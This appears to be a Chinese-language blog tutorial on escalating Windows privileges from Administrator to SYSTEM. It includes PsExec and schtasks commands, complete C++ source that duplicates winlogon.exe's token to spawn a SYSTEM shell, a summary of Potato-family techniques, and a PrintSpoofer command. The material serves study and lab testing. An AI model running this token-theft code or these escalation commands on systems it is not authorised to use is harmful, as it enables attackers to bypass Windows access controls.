Windows从Administrator提升到system权限

发布于: 2026-09-10 21:18

记录几种从Administrator权限提升到system权限的方法。

管理员创建服务

PSExec

PsExec - Microsoft​ 是 微软提供的 Sysinternals 工具套件中的一个轻量级命令行工具,全称 Process Execute,由 Mark Russinovich 开发。它的核心功能是在远程或本地以指定身份执行进程,最经典用法就是 psexec -i -s cmd 拿到 SYSTEM 权限的交互式命令行。系统默认没有psexec,自行在微软官网下载并解压。

PsExec 的原理分四步:首先通过 SMB 把 PSEXESVC.exe 拷贝到目标 System32 目录;然后创建并启动一个 LocalSystem 服务;服务启动后以 SYSTEM 身份运行,通过命名管道跟客户端通信接收命令;最后调用 CreateProcessAsUser 创建新进程,关键是通过 SetTokenInformation 把 TokenSessionId 设成当前用户桌面的 SessionId,并指定 lpDesktop 为 WinSta0\Default,这样新进程既有 SYSTEM 令牌又能显示在当前用户的交互桌面上。本质上就是服务提权 + Session 迁移的组合

在high完整性令牌下的cmd进程执行以下命令验证:

psexec -i -s cmd

schtasks

在high完整性令牌下的cmd进程执行以下命令验证:

:: 创建并立即运行
schtasks /create /sc once /st 00:00 /tn mysvc /tr "cmd /c whoami > C:\out.txt" /ru "NT AUTHORITY\SYSTEM" /f
schtasks /run /tn mysvc

::验证
type C:\out.txt

:: 清理
schtasks /delete /tn mysvc /f
del C:\out.txt

利用特权窃取令牌

微软官方详细文档:https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-tokens

访问令牌是描述进程或线程的安全上下文的对象。 令牌中的信息包括与进程或线程关联的用户帐户的标识和特权。 用户登录时,系统会通过将密码与存储在安全数据库中的信息进行比较来验证用户的密码。 如果 对密码进行身份验证,系统将生成访问令牌。 代表此用户执行的每个进程都有此访问令牌的副本。

SeDebugPrivilege

SeDebugPrivilege 是 Windows 操作系统中的一个 特权(Privilege),属于本地安全策略的一部分。它允许一个进程 调试其他进程,而调试权限本质上意味着可以 绕过正常的访问控制限制,因此它是一个非常敏感、且常被用于提权的高危特权。

通过复制Token提权到SYSTEM

提权流程

  • 打开system权限进程
  • 复制system权限进程Token
  • 使用复制Token打开新进程

默认配置的管理员拥有SeDebugPrivilege,该权限用于调试进程,是否拥有直接决定你是否能打开写入调试注入如winlogon,system等进程。

代码实现

/*
* file: SeDebugPriv.c
* usage: g++.exe -m64 -O2 -DUNICODE -D_UNICODE -static-libgcc -static-libstdc++ -o SeDebugPriv.exe SeDebugPriv.c -ladvapi32
*/

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
#include <TlHelp32.h>

BOOL SePrivTokenrivilege(
    HANDLE hToken,          
    LPCTSTR lpszPrivilege, 
    BOOL bEnablePrivilege  
)
{
    LUID luid;

    if (!LookupPrivilegeValue(
        NULL,            
        lpszPrivilege,  
        &luid))       
    {
        return FALSE;
    }

    TOKEN_PRIVILEGES PrivToken;
    PrivToken.PrivilegeCount = 1;
    PrivToken.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        PrivToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        PrivToken.Privileges[0].Attributes = 0;


    if (!AdjustTokenPrivileges(
        hToken,
        FALSE,
        &PrivToken,
        sizeof(TOKEN_PRIVILEGES),
        (PTOKEN_PRIVILEGES)NULL,
        (PDWORD)NULL))
    {
        return FALSE;
    }

    return TRUE;
}


DWORD FindProcessPID(const wchar_t* ProcessName) {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp((const wchar_t*)process.szExeFile,(const wchar_t*)ProcessName))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

int main(int argc, char** argv) {
    HANDLE hDpToken = NULL;



    HANDLE hCurrentToken = NULL;
    BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrentToken);
    SePrivTokenrivilege(hCurrentToken, L"SeDebugPrivilege", TRUE);

    DWORD PID_TO_IMPERSONATE = FindProcessPID(L"winlogon.exe");
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);


    HANDLE hToken = NULL;
    BOOL TokenRet = OpenProcessToken(hProcess,
        TOKEN_DUPLICATE |
        TOKEN_ASSIGN_PRIMARY |
        TOKEN_QUERY, &hToken);

    BOOL impersonateUser = ImpersonateLoggedOnUser(hToken);
    if (GetLastError() == NULL)
    {
        RevertToSelf();
    }


    BOOL dpToken = DuplicateTokenEx(hToken, 
        TOKEN_ADJUST_DEFAULT |
        TOKEN_ADJUST_SESSIONID |
        TOKEN_QUERY |
        TOKEN_DUPLICATE |
        TOKEN_ASSIGN_PRIMARY,
        NULL,
        SecurityImpersonation,
        TokenPrimary,
        &hDpToken
    );


    STARTUPINFO startupInfo = {0};
    startupInfo.cb = sizeof(STARTUPINFO);
    PROCESS_INFORMATION ProcessInfo = {0};

    BOOL Ret = CreateProcessWithTokenW(hDpToken,
        LOGON_WITH_PROFILE,
        L"C:\\Windows\\System32\\cmd.exe",
        NULL, 0, NULL, NULL,
        &startupInfo,
        &ProcessInfo);


    return TRUE;
}

potato家族

前提:

  • 账户具有SeImpersonatePrivilege特权(或 SeAssignPrimaryTokenPrivilege)
  • 存在一个能被诱导的 SYSTEM 进程

核心原理:SeImpersonatePrivilege + 让 SYSTEM 主动送认证 + 模拟令牌SYSTEM身份

Hot Potato:通过NBNS投毒和WPAD欺骗,诱使SYSTEM权限的Windows Update服务向攻击者发起HTTP NTLM认证,攻击者将该认证中继到本地SMB服务,从而模拟SYSTEM身份并创建高权限进程。

Rotten Potato:利用COM对象激活触发SYSTEM进程连接本地RPC端点并进行NTLM认证,攻击者将认证中继回本地,借此获取SYSTEM令牌实现提权。

Juicy Potato:通过指定CLSID触发BITS服务以SYSTEM身份向攻击者控制的RPC端口回连,捕获NTLM认证后中继至本地,模拟并复制SYSTEM令牌以执行任意命令。

Rogue Potato:注册伪造的OXID解析器,使COM服务向远程机器发起NTLM认证,再由远程将认证中继回本地,绕过本地限制窃取SYSTEM令牌。

PrintSpoofer:调用Print Spooler API迫使SYSTEM进程连接攻击者创建的命名管道,直接通过ImpersonateNamedPipeClient模拟SYSTEM身份,无需中继即可复制令牌并启动高权限进程。

GodPotato:利用DCOM激活诱导SYSTEM回连,通过底层RPC函数NdrImpersonateClient直接捕获SYSTEM令牌,随后创建SYSTEM权限的进程完成提权。

各版本的区别仅在于"用什么办法骗 SYSTEM 回连"以及如何绕过微软对本地 NTLM 中继的限制,而 "让 SYSTEM 主动送认证、攻击者冒充它"​ 这一核心套路始终不变。

以前面提到的PrintSpoofer为例,下载Github release到虚拟机测试:

.\PrintSpoofer.exe -i -c cmd.exe

参考链接